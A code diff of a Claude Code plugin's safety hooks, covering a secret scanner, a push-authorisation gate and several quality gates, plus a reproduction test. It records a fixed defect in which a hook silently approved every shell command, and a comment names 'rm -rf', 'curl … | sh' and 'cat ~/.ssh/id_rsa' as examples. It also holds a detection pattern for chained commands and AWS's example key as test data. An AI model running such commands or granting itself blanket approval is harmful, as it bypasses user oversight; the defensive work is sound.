const input = JSON.stringify({ tool_name: 'Bash', tool_input: { command: PUSH }, cwd });
const r = spawnSync(NODE, [path.join(HOOKS, 'scan.mjs')], { input, encoding: 'utf8' });
try {
const out = JSON.parse(r.stdout).hookSpecificOutput;
return { decision: out.permissionDecision, reason: out.permissionDecisionReason || '' };
} catch {
return { decision: null, reason: '' };
}
}
let failures = 0;
console.log(`X22 reproduction — expecting the ${expectBug ? 'DEFECT' : 'FIX'}\n`);
// --- A. the product repository itself must be pushable -----------------------
{
const { decision, reason } = decisionFor(REPO);
const findings = reason
.split('\n')
.filter((l) => l.trim().startsWith('{'))
.map((l) => l.trim());
const want = expectBug ? 'deny' : null;
const ok = decision === want;
if (!ok) failures++;
console.log(
` ${ok ? 'ok ' : 'FAIL'} A the product repo: decision=${decision} (want ${want})`,
);
if (findings.length) {
console.log(` ${findings.length} finding(s) still reported:`);
for (const f of findings.slice(0, 6)) console.log(` ${f}`);
if (findings.length > 6) console.log(` ... and ${findings.length - 6} more`);
}
}
// --- B. CONTROL: a real secret in a real project must STILL be caught --------
// This is the assertion that stops the fix from being a hole. If the allowance
// were a blanket "ignore secret-shaped strings", or "ignore anything under a
// test directory", this would go quiet — and the whole scanner would be worthless.
{
const dir = fs.mkdtempSync(path.join(os.tmpdir(), 'gru-x22-ctl-'));
fs.mkdirSync(path.join(dir, 'Dev-Memory'), { recursive: true });
fs.writeFileSync(path.join(dir, '.gitignore'), 'Dev-Memory/\n');
// AWS's own published example key — the identical string the product's tests use.
fs.writeFileSync(path.join(dir, 'creds.txt'), 'aws_key = AKIA' + 'IOSFODNN7EXAMPLE\n');
const git = (...a) => spawnSync('git', a, { cwd: dir, encoding: 'utf8' });
git('init', '-q', '-b', 'main', '.');
git('add', '.gitignore', 'creds.txt');
git('-c', 'user.email=t@t', '-c', 'user.name=t', 'commit', '-qm', 'init');
const { decision } = decisionFor(dir);
const ok = decision === 'deny';
if (!ok) failures++;
console.log(
` ${ok ? 'ok ' : 'FAIL'} B control: the SAME secret string in a real project must still deny -> ${decision}`,
);
fs.rmSync(dir, { recursive: true, force: true });
}
// --- C. CONTROL: a real project's Dev-Memory must STILL be blocked ----------
{
const dir = fs.mkdtempSync(path.join(os.tmpdir(), 'gru-x22-ctl2-'));
fs.mkdirSync(path.join(dir, 'Dev-Memory'), { recursive: true });
fs.writeFileSync(path.join(dir, 'Dev-Memory', 'PROGRESS.md'), '# progress\n');
fs.writeFileSync(path.join(dir, 'app.txt'), 'hello\n');
const git = (...a) => spawnSync('git', a, { cwd: dir, encoding: 'utf8' });
git('init', '-q', '-b', 'main', '.');
git('add', '-A'); // Dev-Memory deliberately NOT gitignored
git('-c', 'user.email=t@t', '-c', 'user.name=t', 'commit', '-qm', 'init');
const { decision } = decisionFor(dir);
const ok = decision === 'deny';
if (!ok) failures++;
console.log(
` ${ok ? 'ok ' : 'FAIL'} C control: a real project's tracked Dev-Memory must still deny -> ${decision}`,
);
fs.rmSync(dir, { recursive: true, force: true });
}
console.log(
`\n${failures === 0 ? 'ALL AS EXPECTED' : 'MISMATCH'} — ${failures} case(s) not in the expected state.`,
);
process.exit(failures === 0 ? 0 : 1);
+1
-1
package.json
{
"name": "@gru953/studio-cli",
"version": "6.0.3",
"version": "6.1.0",
"description": "The GRU953-Studio command-line bridge for running the studio protocol outside Claude Code.",

@@ -5,0 +5,0 @@ "main": "src/index.js",

+1
-1
plugin/.claude-plugin/plugin.json
{
"name": "gru953-studio",
"version": "6.0.3",
"version": "6.1.0",
"description": "An AI project lead plus a Tier-sized team of specialised AI developers. Type your rough app idea, answer a short pop-up interview, approve the plan, and GRU953-Studio researches, designs, plans, codes, reviews, tests and privately publishes a working app to your own GitHub. Built for Claude Code, Google Antigravity, Cursor, Windsurf, Devin, and all major platforms. Plain UK English throughout; no technical knowledge needed.",

@@ -5,0 +5,0 @@ "author": {

+71
-56
plugin/hooks/content-check.mjs

@@ -28,3 +28,3 @@ #!/usr/bin/env node

import process from 'node:process';
import { splitPipeCells, stripBom, isDirectory, deEmphasise, SEPARATOR_ROW_RE } from './lib.mjs';
import { stripBom, isDirectory, deEmphasise, parseTables } from './lib.mjs';

@@ -87,8 +87,6 @@ // 2026-07-29 maintenance fix (audit finding 4): kept as its own separate

}
function cells(line) {
const c = splitPipeCells(line);
if (c.length && c[0].trim() === '') c.shift();
if (c.length && c[c.length - 1].trim() === '') c.pop();
return c.map((x) => x.trim());
}
// 2026-08-13: the local cells() helper was removed with finding X10's fix. Cell
// splitting and outer-pipe normalisation now happen once, in lib.mjs's shared
// parseTables(), so all five gates read a table the same way instead of each
// keeping its own near-identical copy.
// 2026-07-29 maintenance fix (round 3, F1): tested the raw cell, so a

@@ -160,55 +158,54 @@ // placeholder disguised in bold, e.g. "**tbd**", still failed PLACEHOLDER_RE

// unrelated table's rows are never validated against the content table's columns.
const lines = text.split(/\r?\n/);
let inTable = false;
let idx = null;
let contentTableCaptured = false;
// 2026-08-13, finding X10 (reproduced by execution — see
// test/repro/phase1-gate-honesty.mjs case P2). The version above captured the
// FIRST asset table and then `break`-ed out on the next non-table line, so
// every later table went unvalidated. Grouping the register by medium —
// `## Images` then `## Audio` then `## Text`, the obvious way to organise it —
// therefore hid every asset after the first group. Reproduced: a second table
// holding `hero-banner.png | image | unknown, found on the web | tbd | unknown
// licence | —` returned `{"status":"clean","assets":2}`. It counted the asset
// and cleared it.
//
// Now EVERY table with an asset-like or medium-like column is validated, and
// each row carries its OWN column map — which is what the 2026-07-21 fix was
// really protecting against. That fix stopped one table's column positions
// being applied to another table's rows; it did that by ignoring the later
// tables entirely, when the precise fix is to give each table its own indices.
// Both risks are now closed at once.
//
// A RAGGED row (column count disagreeing with its header) can no longer be
// read positionally, so it is reported rather than skipped — the same
// discipline verify-progress.mjs and quality-gate.mjs apply.
const rows = [];
for (const line of lines) {
if (!/^\s*\|/.test(line)) {
// 2026-07-21 audit fix: once the content table has ended, ignore every LATER
// table. Previously `idx` persisted and a subsequent unrelated table's rows
// were validated against the content table's column map — a spurious BLOCK
// (and, with two content-shaped tables, a possible mis-aligned false-clean).
// Mirrors quality-gate.mjs's "stop after the first matching table" fix.
if (contentTableCaptured) break;
inTable = false;
continue;
const ragged = [];
let sawContentTable = false;
for (const table of parseTables(text)) {
// 2026-07-29 maintenance fix, preserved: deEmphasise() so a bolded header
// like "**Approved**" is recognised the same as "Approved".
const find = (re) => table.headerCells.findIndex((h) => re.test(deEmphasise(h)));
const found = {
asset: find(/^(asset|name|file|item)$/i),
medium: find(/^(medium|type|kind)$/i),
source: find(/^(source|provenance|model|origin|by)$/i),
approved: find(/^(approved|approval|status|sign[- ]?off)$/i),
rights: find(/^(rights|licen[cs]e|usage)$/i),
// 2026-07-21 Round 6 fix, preserved: also accept the documented template
// header "Alt/Caption" and other slash/space-joined synonyms.
alt: find(
/^(alt|alt[- ]?text|caption|transcript|accessibility|a11y)([\/ ]?(alt|caption|text|transcript))*$/i,
),
};
if (found.asset === -1 && found.medium === -1) continue; // not a content table
sawContentTable = true;
for (const r of table.rows) {
if (r.ragged) {
if (r.cells.some((c) => c !== '')) ragged.push(r.raw.trim());
continue;
}
rows.push({ cells: r.cells, idx: found });
}
const c = cells(line);
if (!inTable) {
inTable = true;
// 2026-07-29 maintenance fix: header cells were tested as-is, so a
// bolded header (e.g. "**Approved**") never matched, wrongly reporting
// the whole content table as unrecognised. deEmphasise() (already used
// by verify-progress.mjs/quality-gate.mjs/traceability-check.mjs for
// exactly this) strips markdown emphasis before matching.
const find = (re) => c.findIndex((h) => re.test(deEmphasise(h)));
const found = {
asset: find(/^(asset|name|file|item)$/i),
medium: find(/^(medium|type|kind)$/i),
source: find(/^(source|provenance|model|origin|by)$/i),
approved: find(/^(approved|approval|status|sign[- ]?off)$/i),
rights: find(/^(rights|licen[cs]e|usage)$/i),
// 2026-07-21 Round 6 fix: also accept the documented template header
// "Alt/Caption" (and other slash/space-joined synonyms) — the anchored
// single-word regex rejected it, so content-check blocked every media
// asset that DID carry a caption. See content-creation/SKILL.md's template.
alt: find(
/^(alt|alt[- ]?text|caption|transcript|accessibility|a11y)([\/ ]?(alt|caption|text|transcript))*$/i,
),
};
if (found.asset !== -1 || found.medium !== -1) {
idx = found;
contentTableCaptured = true;
} // the content table's columns
continue;
}
if (SEPARATOR_ROW_RE.test(line)) continue;
if (!idx) continue; // no content table seen yet
rows.push(c);
}
if (!idx) idx = { asset: -1, medium: -1, source: -1, approved: -1, rights: -1, alt: -1 };
const problems = [];
if (rows.length === 0) {
if (!sawContentTable) {
// CONTENT.md exists but has no readable asset table — treat as incomplete.

@@ -218,4 +215,22 @@ problems.push(

);
} else if (rows.length === 0) {
// 2026-08-13, independent-review finding F2 (reproduced regression). Changing
// this condition from `rows.length === 0` to `!sawContentTable` let a
// HEADER-ONLY register pass — a content table created and never filled in
// returned `{"status":"clean","assets":0}`, where the previous version
// correctly refused it. "No content at all" is already expressed by having no
// CONTENT.md, which this gate treats as a clean no-op; an empty register is a
// different thing, and it is the shape of a step someone started and forgot.
problems.push(
'CONTENT.md has a content table with no rows — an empty register is not the same as having no content. Either record the assets, or delete CONTENT.md if this project genuinely ships no generated content.',
);
}
for (const r of rows) {
for (const raw of ragged) {
problems.push(
`a content row's columns do not line up with its header, so its approval and rights cannot be verified → "${raw}" (an unescaped "|" inside a cell is the usual cause — write it as \\|)`,
);
}
for (const row of rows) {
const r = row.cells;
const idx = row.idx;
const name =

@@ -222,0 +237,0 @@ (idx.asset !== -1 && r[idx.asset]) || (idx.medium !== -1 && r[idx.medium]) || 'asset';

+47
-2
plugin/hooks/docs-consistency.mjs

@@ -502,4 +502,32 @@ #!/usr/bin/env node

// found live in this repo while first running this check, not hypothetical.
// 2026-08-13, finding X24 (reproduced by execution — see
// test/repro/phase1-gate-honesty.mjs case P12). The bases above include the
// referencing file's OWN directory but never a PARENT one. That is a false
// positive against the most ordinary shape in a project's working memory: a note
// at Dev-Memory/decisions/2026-08-13-something.md pointing at `UNBUILT.md`,
// which lives one level up in Dev-Memory/ beside PROGRESS.md and
// REQUIREMENTS.md. This gate blocked exactly that three times in one session,
// including once on a note whose only content was a description of this defect —
// it could not document its own bug without triggering it.
//
// The fix is to walk UP from the referencing file to the repository root, which
// generalises correctly rather than special-casing Dev-Memory: any relative
// reference that resolves anywhere on the path between a file and the repo root
// is a real file, and the check's purpose is to catch references to files that do
// not exist at all. Bounded by repoRoot, so it never escapes the repository.
function ancestorDirs(file) {
const dirs = [];
let dir = path.dirname(path.resolve(file));
const root = path.resolve(repoRoot);
for (let guard = 0; guard < 64; guard++) {
dirs.push(dir);
if (dir === root || !dir.startsWith(root)) break;
const parent = path.dirname(dir);
if (parent === dir) break; // filesystem root
dir = parent;
}
return dirs;
}
function refResolves(token, referencingFile) {
const bases = [...REF_BASE_DIRS, path.dirname(referencingFile)];
const bases = [...REF_BASE_DIRS, ...ancestorDirs(referencingFile)];
return bases.some((base) => {

@@ -618,4 +646,21 @@ try {

}
if (stated && stated !== releaseVersion) {
// 2026-08-13 (reproduced by execution — see
// test/repro/phase1-gate-honesty.mjs case P10). The condition used to be
// `if (stated && …)`, so a manifest whose version was absent, empty, or
// otherwise falsy was SKIPPED rather than failed. But this check exists
// precisely because "the publish workflow reads the manifest, not the tag"
// — and a manifest with no version publishes nothing just as surely as one
// with the wrong version. Reproduced: setting clients/cli/package.json's
// version to "" left both this gate and repo-integrity.mjs reporting clean.
// A non-semver value is treated the same way, for the same reason.
if (stated === undefined || stated === null || String(stated).trim() === '') {
fail(
`${rel} states no version at all (found ${JSON.stringify(stated)}), and CHANGELOG.md's newest release is ${releaseVersion} — a manifest with no version publishes nothing, exactly like a mismatched one`,
);
} else if (!/^\d+\.\d+\.\d+/.test(String(stated).trim())) {
fail(
`${rel} states version ${JSON.stringify(stated)}, which is not a semantic version — it cannot be compared with CHANGELOG.md's newest release ${releaseVersion}, so it fails closed`,
);
} else if (stated !== releaseVersion) {
fail(
`${rel} states version "${stated}", but CHANGELOG.md's newest release is ${releaseVersion} — a release that bumps one and not the other publishes nothing (the publish workflow reads the manifest, not the tag)`,

@@ -622,0 +667,0 @@ );

+38
-7
plugin/hooks/gate.mjs

@@ -42,3 +42,5 @@ #!/usr/bin/env node

import {
allow,
stepAside,
authorise,
escalate,
deny,

@@ -313,2 +315,20 @@ readStdin,

// 2026-08-13, independent-review finding F4. An approval covers the WHOLE command
// string, so a token must never approve a push with extra segments welded on.
// Anything that could run a second command — a separator, a pipe, a background
// `&`, a newline, or a substitution — means this is not the single confirmed
// action, and the decision goes to the user instead of being granted silently.
const MULTI_COMMAND_RE = /[;&|\n]|\$\(|`/;
function authoriseOnlyIfSingleCommand(cmd, what, reason) {
if (MULTI_COMMAND_RE.test(String(cmd))) {
escalate(
`studio gate: ${what} was confirmed for this project, but this command does more than that one thing ` +
`(it contains a separator, pipe, background "&", newline or substitution), and an authorisation covers the ` +
`WHOLE command. Asking you to confirm this exact command rather than approving it silently. ` +
`Running the ${what} on its own line will be authorised without this prompt.`,
);
}
authorise(reason);
}
function main() {

@@ -342,3 +362,3 @@ // 2026-07-31 maintenance fix (F1): readStdin() now throws StdinReadFailure

// falling back to this process's own cwd can still resolve the WRONG
// studio root and allow() a command this gate never actually inspected.
// studio root and stand aside on a command this gate never actually inspected.
// Denying here closes that residual regardless of how a future caller

@@ -355,3 +375,3 @@ // might reintroduce a partial read. A genuinely empty string (real "no

`can happen under a partial/corrupted read. Retry the command; refusing to let an ` +
`unparsed payload fall through to an unauthorised allow().`,
`unparsed payload fall through to an unchecked command.`,
);

@@ -363,3 +383,5 @@ }

if (!isPushCapable(CMD)) {
allow();
// Not push-capable: this gate has no business here. Emit NO decision so the
// command continues through Claude Code's normal permission flow (X1).
stepAside();
}

@@ -370,3 +392,4 @@

if (STUDIO_ROOT === null) {
allow();
// Not a studio project: never interfere with someone else's repository.
stepAside();
}

@@ -379,3 +402,7 @@

if (goPublicConfirmed(STUDIO_ROOT)) {
allow();
authoriseOnlyIfSingleCommand(
CMD,
'going public',
'studio gate: going public was explicitly confirmed for this project and the record is still within its time limit.',
);
}

@@ -396,3 +423,7 @@ deny(

) {
allow();
authoriseOnlyIfSingleCommand(
CMD,
'the push',
'studio gate: a push authorisation (publish, per-phase checkpoint, or opt-in memory persistence) was explicitly confirmed for this project and is still within its time limit. Private push only.',
);
}

@@ -399,0 +430,0 @@ deny(

+8
-4
plugin/hooks/hooks.json

@@ -9,7 +9,9 @@ {

"type": "command",
"command": "node \"${CLAUDE_PLUGIN_ROOT}/hooks/scan.mjs\""
"command": "node \"${CLAUDE_PLUGIN_ROOT}/hooks/scan.mjs\"",
"timeout": 20
},
{
"type": "command",
"command": "node \"${CLAUDE_PLUGIN_ROOT}/hooks/gate.mjs\""
"command": "node \"${CLAUDE_PLUGIN_ROOT}/hooks/gate.mjs\"",
"timeout": 20
}

@@ -25,3 +27,4 @@ ]

"type": "command",
"command": "node \"${CLAUDE_PLUGIN_ROOT}/hooks/self-heal-nudge.mjs\""
"command": "node \"${CLAUDE_PLUGIN_ROOT}/hooks/self-heal-nudge.mjs\"",
"timeout": 20
}

@@ -36,3 +39,4 @@ ]

"type": "command",
"command": "node \"${CLAUDE_PLUGIN_ROOT}/hooks/session-start.mjs\""
"command": "node \"${CLAUDE_PLUGIN_ROOT}/hooks/session-start.mjs\"",
"timeout": 20
}

@@ -39,0 +43,0 @@ ]

+53
-0
plugin/hooks/licence-scan.mjs

@@ -148,2 +148,55 @@ #!/usr/bin/env node

}
// 2026-08-13 (reproduced by execution — see
// test/repro/phase1-gate-honesty.mjs case P9). This returned `checked: true`
// unconditionally, purely because a node_modules DIRECTORY existed. So a
// project declaring `"dependencies": {"some-copyleft-lib": "^3.0.0"}` beside an
// EMPTY node_modules and no lockfile examined zero packages and reported
// `{"status":"clean"}`. A pruned or `--production` install silently narrowed
// the scan the same way, with no signal at all.
//
// This file already states the governing principle for exactly this situation:
// "node_modules is an install-artefact that is routinely not present/committed
// and can itself be stale, so it can never paper over a lockfile we failed to
// read. Any unchecked side now keeps the whole npm result honest." An empty or
// partial node_modules IS that stale artefact.
//
// So the declared dependency set is now cross-checked against what was actually
// resolved on disk. Anything declared but not found makes the result
// `checked: false`, which the caller turns into INCOMPLETE rather than a pass.
// devDependencies are deliberately included: a copyleft dev dependency still
// ships in a source-available release and still needs review.
const resolved = new Set(pkgDirs.map((p) => p.split(path.sep).join('/')));
let declared = [];
try {
const rootPkg = JSON.parse(fs.readFileSync(path.join(root, 'package.json'), 'utf8'));
// 2026-08-13, independent-review finding F10 (reproduced).
// optionalDependencies were included here and made a legitimately-absent
// platform-specific package a PERMANENT incomplete: `fsevents` is macOS-only,
// so on Linux CI `npm ci` will never install it and the advice ("run npm ci
// and re-scan") can never fix it. That is the "gate that cries wolf gets
// routed around" failure this project's own changelog warns about, so optional
// dependencies are excluded. devDependencies stay: a copyleft dev dependency
// still ships in a source-available release and still needs review.
declared = [
...Object.keys(rootPkg.dependencies || {}),
...Object.keys(rootPkg.devDependencies || {}),
];
} catch {
declared = []; // no readable root package.json — nothing to cross-check against
}
const unresolved = declared.filter((name) => !resolved.has(name));
if (unresolved.length > 0) {
return {
ecosystem: 'npm',
checked: false,
findings,
note:
`package.json declares ${unresolved.length} dependenc${unresolved.length === 1 ? 'y' : 'ies'} that ` +
`${unresolved.length === 1 ? 'is' : 'are'} not installed in node_modules, so ${unresolved.length === 1 ? 'its' : 'their'} ` +
`licence could not be examined: ${unresolved.slice(0, 8).join(', ')}` +
`${unresolved.length > 8 ? `, and ${unresolved.length - 8} more` : ''}. ` +
`Run \`npm ci\` (or \`npm install\`) and re-scan — an empty or pruned node_modules must never read as a clean pass.`,
};
}
return { ecosystem: 'npm', checked: true, findings };

@@ -150,0 +203,0 @@ }

+39
-7
plugin/hooks/memory-integrity.mjs

@@ -37,3 +37,2 @@ #!/usr/bin/env node

splitPipeCells,
stripBom,
isDirectory,

@@ -43,2 +42,4 @@ deEmphasise,

PLACEHOLDER_RE,
readOrBlock,
MISSING,
} from './lib.mjs';

@@ -226,8 +227,20 @@

// fix above interacting badly with an unstripped BOM.
// 2026-08-13, finding X12 (reproduced by execution — see
// test/repro/phase1-gate-honesty.mjs cases P6 and P7). This returned null for
// BOTH "the file isn't there" and "the file is there but I couldn't read it",
// and all three callers treat null as "nothing to validate yet" and return
// silently. So an INDEX.md that was unreadable (chmod 000) or replaced by a
// DIRECTORY produced `{"status":"clean","reason":"recall index and knowledge
// graph are internally consistent"}` — an affirmative claim about a file this
// gate had not read a single byte of.
//
// content-check.mjs found and fixed this exact defect class in July and stated
// the principle: "A gate that cannot read its input must never claim its input
// is fine." The fix was never propagated here. It now uses the shared
// readOrBlock() from lib.mjs, so ENOENT (genuinely absent) still stands down and
// every other error throws — caught at the entry point below and reported as a
// block, never as a pass.
function read(p) {
try {
return stripBom(fs.readFileSync(p, 'utf8'));
} catch {
return null;
}
const t = readOrBlock(p);
return t === MISSING ? null : t;
}

@@ -449,2 +462,21 @@

main();
// 2026-08-13, finding X12: an input this gate cannot READ must never be reported
// as an input this gate is happy with. read() now throws on any error other than
// "genuinely absent", and that throw lands here, as a block with the real cause
// named — not as a silent pass.
try {
main();
} catch (e) {
console.log(
JSON.stringify(
{
status: 'BLOCKED',
reason: 'a memory file exists but could not be read, so it cannot be verified',
detail: e && e.message ? e.message : String(e),
},
null,
2,
),
);
process.exit(1);
}
+95
-41
plugin/hooks/quality-gate.mjs

@@ -39,3 +39,2 @@ #!/usr/bin/env node

import {
splitPipeCells,
stripBom,

@@ -45,4 +44,4 @@ CONTRADICTION_RE,

isDirectory,
SEPARATOR_ROW_RE,
PLACEHOLDER_RE,
parseTables,
} from './lib.mjs';

@@ -156,44 +155,89 @@

// already cleared.
// 2026-08-13, finding X2 (CRITICAL, reproduced by execution — see
// test/repro/phase1-gate-honesty.mjs case P1). The version above read only the
// FIRST Item+Status table and stopped. So a project that appended its CURRENT
// phase's Definition of Done below the finished one — which `dev-memory`'s own
// append-never-rewrite discipline actively encourages — got `{"status":"clean"}`
// from this gate while its live table read
// `| Automated tests | fail | npm test -> exit 1, 3 failing |`. This is the gate
// that authorises checkpoint commits and Publish, and its own header promises
// "every ambiguous state fails CLOSED".
//
// Now EVERY table whose header carries an Item-like and a Status column
// contributes its rows, and main() already requires every matching row to be a
// clean pass, so a failure anywhere blocks.
//
// The 2026-07-19 fix that introduced first-table-only was guarding against a real
// case: an unrelated Item+Status table later in the file (a backlog list with a
// row like "Improve test coverage tooling | todo") injecting a spurious row into
// the "tests" dimension and wrongly blocking a complete DoD table.
//
// 2026-08-13, independent-review finding F1 (CRITICAL, reproduced). My first
// attempt at reconciling those two risks used a coverage heuristic: a table
// counted only if its rows covered at least three distinct required dimensions.
// That reintroduced X2 for any NARROW table — and a narrow table is the most
// likely real-world shape, because a phase in progress appends only the
// dimensions still outstanding. Reproduced: a complete passing table followed by
// a single row `| Automated tests | fail | npm test -> exit code 1, 3 failing |`
// returned `{"status":"clean"}`. The heuristic discarded precisely the tables most
// likely to record a live failure. Being clever was worse than being blunt.
//
// So: EVERY Item+Status table counts, with no heuristic. The unrelated-table case
// is still expressible, but it must now be DECLARED rather than guessed at — an
// explicit `<!-- not-a-definition-of-done -->` marker in the few lines above a
// table excludes it. A silent exclusion is what caused this defect twice; an
// explicit one is auditable, and anyone reading the file can see it.
//
// Also new: a RAGGED row — one whose column count disagrees with its header — is
// no longer silently skipped. That was finding P11: a raw `|` inside an Evidence
// cell shifted every later column, so `| Automated tests | pass | npm test |
// tail -5 -> exit code 1, 3 failing right now |` parsed as a different shape and
// the recorded failure became invisible. Such a row cannot be read positionally,
// so it is reported as unverifiable and blocks — the same discipline
// verify-progress.mjs already applies.
// A table preceded by this marker is deliberately not part of the Definition of
// Done. Kept explicit on purpose (finding F1): the only safe way to exclude a
// table is for a human to say so in the file, where a reader can see it.
const NOT_A_DOD_RE = /<!--\s*not-a-definition-of-done\s*-->/i;
const OPT_OUT_LOOKBACK = 3;
function parseRows(text) {
const lines = String(text).split(/\r?\n/);
const optedOut = (headerLine) => {
for (let k = Math.max(0, headerLine - OPT_OUT_LOOKBACK); k < headerLine; k++) {
if (NOT_A_DOD_RE.test(lines[k])) return true;
}
return false;
};
const candidates = [];
for (const [tableIndex, table] of parseTables(text).entries()) {
if (optedOut(table.headerLine)) continue; // explicitly declared not a DoD table
// 2026-07-26 further-pass audit fix, preserved: deEmphasise() so a decorated
// header like "**Status**" or "`Status`" is recognised the same as "Status".
const find = (re) => table.headerCells.findIndex((c) => re.test(deEmphasise(c)));
const idx = {
item: find(/^(item|check|dimension|requirement|criterion|gate)$/i),
status: find(/^status$/i),
evidence: find(/^(evidence|proof|notes?|verified|command)$/i),
};
if (idx.item === -1 || idx.status === -1) continue; // not a Definition-of-Done shape
candidates.push({ tableIndex, table, idx });
}
// Every candidate counts. No heuristic, no position rule — see finding F1 above.
const rows = [];
const lines = text.split(/\r?\n/);
let inTable = false;
let idx = { item: -1, status: -1, evidence: -1 };
let found = false;
for (const line of lines) {
if (!/^\s*\|/.test(line)) {
if (found) break; // the Definition-of-Done table's rows are done
inTable = false;
idx = { item: -1, status: -1, evidence: -1 };
continue;
const ragged = [];
for (const { tableIndex, table, idx } of candidates) {
for (const r of table.rows) {
if (r.ragged) {
if (r.cells.some((c) => c !== '')) ragged.push(r.raw.trim());
continue;
}
const item = r.cells[idx.item] || '';
const status = r.cells[idx.status] || '';
const evidence = idx.evidence === -1 ? '' : r.cells[idx.evidence] || '';
if (!item) continue;
rows.push({ item, status, evidence, raw: r.raw.trim(), tableIndex });
}
const cells = splitPipeCells(line).map((c) => c.trim());
if (!inTable) {
inTable = true;
// 2026-07-26 further-pass audit fix: verify-progress.mjs already
// de-emphasises a header cell (strips **bold**/`code`/_italic_) before
// matching it, so "**Status**" and "`Status`" are recognised the same
// as plain "Status" — this file's own header matcher never had that,
// so a decorated header made the whole table unrecognised. Reproduced:
// a Definition-of-Done table with header `**Status**` reported every
// required dimension "missing" despite every row being correctly
// filled in.
const find = (re) => cells.findIndex((c) => re.test(deEmphasise(c)));
idx = {
item: find(/^(item|check|dimension|requirement|criterion|gate)$/i),
status: find(/^status$/i),
evidence: find(/^(evidence|proof|notes?|verified|command)$/i),
};
if (idx.item !== -1 && idx.status !== -1) found = true;
continue;
}
if (!found) continue; // not the Definition-of-Done table — ignore its rows
if (SEPARATOR_ROW_RE.test(line)) continue;
const item = cells[idx.item] || '';
const status = cells[idx.status] || '';
const evidence = idx.evidence === -1 ? '' : cells[idx.evidence] || '';
if (!item) continue;
rows.push({ item, status, evidence, raw: line.trim() });
}
return rows;
return { rows, ragged };
}

@@ -242,3 +286,3 @@

}
const rows = parseRows(text);
const { rows, ragged } = parseRows(text);
const problems = [];

@@ -250,2 +294,12 @@ if (rows.length === 0) {

}
// A row whose columns do not line up with its header cannot be read
// positionally, so its status and evidence cannot be trusted. Fail closed
// rather than skip it — an unescaped `|` inside an Evidence cell is the
// common cause, and it hid a recorded test failure (finding P11). Escape it
// as `\|`, per GitHub-flavoured markdown, and this clears.
for (const raw of ragged) {
problems.push(
`a row's columns do not line up with its header, so its status cannot be verified → "${raw}" (an unescaped "|" inside a cell is the usual cause — write it as \\|)`,
);
}
for (const dim of REQUIRED) {

@@ -252,0 +306,0 @@ const matches = rows.filter((r) => dim.match.test(r.item));

+70
-0
plugin/hooks/repo-integrity.mjs

@@ -839,2 +839,72 @@ #!/usr/bin/env node

// ---- INV 17: no hook grants a blanket approval; only gate.mjs may authorise ----
// 2026-08-13, finding X1 (CRITICAL, reproduced by execution — see
// hooks/test/repro/X1-auto-approval.mjs). lib.mjs used to export a single
// allow() that emitted `permissionDecision: "allow"` on every path where a hook
// had no objection. Per the documented PreToolUse contract that value "permit[s]
// the tool call to proceed without a permission prompt", so this plugin was
// silently switching off the user's own permission prompts for every non-push
// shell command — `rm -rf`, `curl … | sh` and `cat ~/.ssh/id_rsa` among them.
//
// The corrected design splits that into stepAside() (emit nothing — the
// documented neutral) and authorise(reason) (emit "allow"), and confines the
// latter to gate.mjs's two freshly-confirmed-token paths. This invariant is what
// stops a future edit undoing that split quietly: a unit test can be deleted,
// but a missing invariant fails the gate every contributor is told to run.
{
const HOOKS_DIR = hooksDir;
let hookFiles = [];
try {
hookFiles = fs.readdirSync(HOOKS_DIR).filter((f) => f.endsWith('.mjs'));
} catch {
fail(`INV17: could not read ${HOOKS_DIR} to check for blanket approvals`);
}
for (const f of hookFiles) {
// Both of these necessarily quote the very pattern being searched for — the
// test suite asserts on it, and this file defines it — so scanning them
// would report a permanent false positive.
if (f === 'hooks.test.mjs' || f === 'repo-integrity.mjs') continue;
let text;
try {
text = fs.readFileSync(path.join(HOOKS_DIR, f), 'utf8');
} catch {
continue;
}
// Strip block and line comments so the historical explanations above (which
// legitimately quote the defective JSON) are not mistaken for live code.
const code = text.replace(/\/\*[\s\S]*?\*\//g, '').replace(/^\s*\/\/.*$/gm, '');
if (/permissionDecision['"]?\s*:\s*['"]allow['"]/.test(code) && f !== 'lib.mjs') {
fail(
`INV17: ${f} emits permissionDecision "allow" directly. Only lib.mjs's authorise() may do that, and only gate.mjs may call it — a blanket approval suppresses the user's permission prompt (finding X1)`,
);
}
if (/\ballow\s*\(\s*\)/.test(code)) {
fail(
`INV17: ${f} still calls the removed allow(). Use stepAside() for "no objection" or authorise(reason) for a confirmed authorisation (finding X1)`,
);
}
if (f === 'scan.mjs' && /\bauthorise\s*\(/.test(code)) {
fail(
`INV17: scan.mjs calls authorise(). The secret scanner is veto-only: finding nothing means it has no objection, not that the push is approved (finding X1)`,
);
}
}
// And lib.mjs must still provide both halves of the split.
try {
const lib = fs.readFileSync(path.join(HOOKS_DIR, 'lib.mjs'), 'utf8');
if (!/export function stepAside\s*\(/.test(lib)) {
fail(
`INV17: lib.mjs no longer exports stepAside() — the neutral no-decision exit (finding X1)`,
);
}
if (/export function allow\s*\(/.test(lib)) {
fail(
`INV17: lib.mjs exports allow() again. It was deliberately split into stepAside() and authorise(reason) so that every approval is explicit (finding X1)`,
);
}
} catch {
fail(`INV17: could not read lib.mjs to verify the stepAside()/authorise() split`);
}
}
// ---- report ------------------------------------------------------------------

@@ -841,0 +911,0 @@ if (problems.length === 0) {

+42
-8
plugin/hooks/traceability-check.mjs

@@ -42,3 +42,6 @@ #!/usr/bin/env node

import fs from 'node:fs';
// 2026-08-13: `fs` is no longer imported here. All file reading now goes through
// lib.mjs's shared readOrBlock(), which is the point of finding X12's fix — one
// place decides what "cannot read this" means, so no gate can quietly decide it
// differently again.
import path from 'node:path';

@@ -48,3 +51,2 @@ import process from 'node:process';

splitPipeCells,
stripBom,
CONTRADICTION_RE,

@@ -55,2 +57,4 @@ deEmphasise,

PLACEHOLDER_RE,
readOrBlock,
MISSING,
} from './lib.mjs';

@@ -112,8 +116,18 @@

// `\s*` prefix, which a BOM genuinely defeats.)
// 2026-08-13, finding X12 (reproduced by execution — see
// test/repro/phase1-gate-honesty.mjs case P8). This returned null for BOTH "the
// file isn't there" and "the file is there but I couldn't read it". An
// UNREADABLE REQUIREMENTS.md therefore took the same path as an absent one, and
// on a Tiny-Tier project that path is the lenient one — the gate reported
// `{"status":"clean","reason":"Tiny Tier … no REQUIREMENTS.md file is required
// … Nothing to trace."}` about a file that exists and that it could not read.
//
// This file's own Tier-reading code already refuses to make exactly that
// mistake, in words: "Silently defaulting an unreadable Tier to the MORE LENIENT
// Tiny would be a new fail-open bug." The same reasoning applies to the
// requirements matrix itself, and now does. ENOENT still stands down; every
// other error throws and is reported as a block at the entry point below.
function read(p) {
try {
return stripBom(fs.readFileSync(p, 'utf8'));
} catch {
return null;
}
